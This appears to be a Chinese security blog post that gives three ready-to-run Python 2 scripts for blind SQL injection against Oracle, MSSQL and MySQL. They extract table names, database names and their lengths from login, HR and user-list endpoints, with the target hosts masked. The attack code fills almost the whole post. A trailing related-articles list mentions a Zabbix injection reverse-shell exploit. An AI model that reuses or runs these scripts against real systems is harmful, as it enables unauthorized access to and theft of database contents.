【实战】SQL注入小脚本
1、ORACLE布尔型盲注
import urllib import urllib2 import requests payloads = '_ABCDEFGHIJKLMNOPQRSTUVWXYZ' header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' } values={} print 'Start to retrive database:' database= '' #需要先手工判断当前表名长度 for i in range(1, 21): for payload in payloads: try: values[' values[' values['phoneNumber']="' or (select substr(table_name,%s,1) from user_tables where rownum=1)='%s' and '1'='1" % (str(i),str(payload)) data = urllib.urlencode(values) url = "https://xxx.xxx.xxx.xxx/api/xxx/reg/action/xxx/appUserLogin.json" req = urllib2.Request(url,data=data,headers=header) resp = urllib2.urlopen(req).read() #匹配关键字输出正确的数据库名 if "status" in resp: database += payload print 'the database is:'+ database break else: print 'dumping database...' except Exception,e: print e
2、MSSQL布尔型盲注
import urllib import urllib2 import requests payloads = 'abcdefghijklmnopqrstuvwxyz_' header = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)','Cookie':'ASP.NET_SessionId=4vmyjpbw03vk2aq0q5mlbemy'} values={} print 'Start to retrive database:' user= '' length=[] databases=[] db='' #注出数据库 def dump_db(i,j): global db for n in range(1,j+1): for payload in payloads: try: values['txtMemberName']="xxx%' and (select count(*) from master.dbo.sysdatabases where dbid={0} and substring(name,{1},1)='{2}')=1--".format(i,n,payload) data = urllib.urlencode(values) url = "http://xxx.xxx.xxx/HR/xxx/xxx.aspx" req = urllib2.Request(url,data=data,headers=header) resp = urllib2.urlopen(req).read() if "Robert" in resp: db += payload print db if n == j: databases.append(db) db='' break else: print 'dumping database...' except Exception,e: print e #遍历判断数据库的长度,需要手工判断数据库个数 for i in range(1,19): for j in range(1,16): try: values['txtMemberName']="xxx%' and (select count(*) from master.dbo.sysdatabases where dbid={0} and len(name)={1})=1--".format(i,j) data = urllib.urlencode(values) url = "http://xxx.xxx.xxx/HR/xxx/xxx.aspx" req = urllib2.Request(url,data=data,headers=header) #print req resp = urllib2.urlopen(req).read() #print resp if "Robert" in resp: print 'the length of DB_%s is %s' % (str(i),str(j)) dump_db(i,j) #print 'the DB is: %s' % str(db) length.append(j) break else: print 'dumping length...' except Exception,e: print e print '-------------------------' for ddd in range(0,17): print databases[ddd] print '-------------------------'
3、MYSQL基于时间的盲注
import urllib import urllib2 import time payloads = 'abcdefghijklmn@_.opqrstuvwxyz0123456789' header = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'} values={} print 'Start to retrive database:' database= '' for i in range(1, 6): for payload in payloads: try: values['pageSize']=10 values['pageNum']=1 values['isAsc']='asc' values['orderByColumn']="(select*from(select(if(ascii(mid(database(),%s,1))=%s,sleep(2),1)))a)" % (i,ord(payload)) data = urllib.urlencode(values) url = "https://xxx.xxx.xxx/system/user/list" t_s = time.time() request = urllib2.Request(url,data,headers=header) response = urllib2.urlopen(request,timeout=5) t_e = time.time() if((t_e-t_s)>2): database += payload print 'the database() is:\t' + database time.sleep(2.0) break else: print 'dumping......' except: pass
【实战】SQL注入小脚本的更多相关文章
- zabbix(sql注入判断脚本)
zabbix(sql注入判断脚本) #-*-coding:utf-8-*- # code by anyun.org import urllib import re def getHtml(url): ...
- Zabbix sql注入漏洞脚本执行反弹shell
exp检测是否存在SQL注入漏洞root@ubuntu:~# python zabbix.py http://ip:9090/+------------------------------------ ...
- 实战SQL注入
SQL注入是啥就不解释了.下面演示一个SQL注入的例子 SQL注入点可以自己尝试或用SQL注入漏洞扫描工具去寻找,这里用大名鼎鼎的sqlmap演示一个现成的案例. 1.漏洞试探 root@kali:~ ...
- python打造一个分析网站SQL注入的脚本
前言: 昨天晚上其实就已经写完代码.只不过向FB投稿了,打算延迟一晚上在写博客 所有才到今天早上写.好了,接下来进入正题. 思路: 1.从网站源码中爬取那些类适于:http://xxx.com/xx. ...
- python SQL注入测试脚本(更新中)
import requests import json import warnings warnings.filterwarnings("ignore") url = 'https ...
- sql注入小姿势
利用/*!union*/可以绕过对union的过滤
- SQL注入不简单?那是你没有懂它的原理~
我们真的了解SQL注入吗? 不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏 ...
- Web安全学习笔记 SQL注入下
Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...
- MySQL SQL 注入
如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本博文将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入的字符. 所谓SQL注入,就是 ...
随机推荐
- linux中c语言和php语言通信代码UDP&TCP
linux中c语言和php语言通信代码UDP&TCP http://blog.chinaunix.net/uid-24015214-id-2644174.html UDP方式通信 服务器端 ...
- 品优购商城项目(一)mybatis逆向工程
第一阶段 dubboX和mybatis逆向工程 用了四天时间才完成品优购项目前两天的任务. 1.其中主要遇到的坑就是zookeeper服务消费者无法调用的问题.造成这个问题的主要原因就是忽略了dubb ...
- CentOS7下搭建Ceph分布式存储架构
(1).Ceph概述 Ceph是为了优秀的性能.可靠性和可扩展性而设计的统一的.分布式文件系统,并且还是一个开源的分布式文件系统.因为其支持块存储.对象存储,所以很自然的被用做云计算框架opensta ...
- Win10安装Golang
首先去这个网站下载Golang的安装包:https://studygolang.com/dl 因为我的系统是Win10专业版64位,所以我选择了对应的Windows的安装包进行下载: 下载好安装包之后 ...
- 超文本css样式换行
之前有关于LODOP中纯文本换行的相关博文:Lodop纯文本英文-等符号自动换行问题纯文本的遇到不拆分的单词的时候,可以通过LODOP 语句设置允许标点溢出,且英文单词拆开.超文本需要通过css样式控 ...
- 云开发 :云原生(Cloud Native)
云开发 :云原生(Cloud Native) 云原生 所谓云原生,它不是一个产品,而是一套技术体系和一套方法论,用于构建和运行充分利用云计算模型优势的应用.云计算将提供无限制的按需计算能力和根据使用情 ...
- windows命令行 共享文件夹
net share dpantemp2 /DELETEnet share dpantemp2=d:\temp2 /GRANT:jk,FULL /REMARK:" web api 共享&quo ...
- CentOS 6 新装服务器部署流程
1.设置时区 rm -f /etc/localtime cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime 2.配置内网IP (如果是外网IP,li ...
- C++标准模板库STL算法与自适应容器(栈和队列)
参考<21天学通C++>第23与第24章节,对STL算法与自适应容器进行介绍. 实际上在前面的STL顺序容器.关联容器进行介绍时或多或少引用到了一些STL算法中的模板函数.而自适应容器是在 ...
- python 爬虫实例(四)
环境: OS:Window10 python:3.7 爬取链家地产上面的数据,两个画面上的数据的爬取 效果,下面的两个网页中的数据取出来 代码 import datetime import threa ...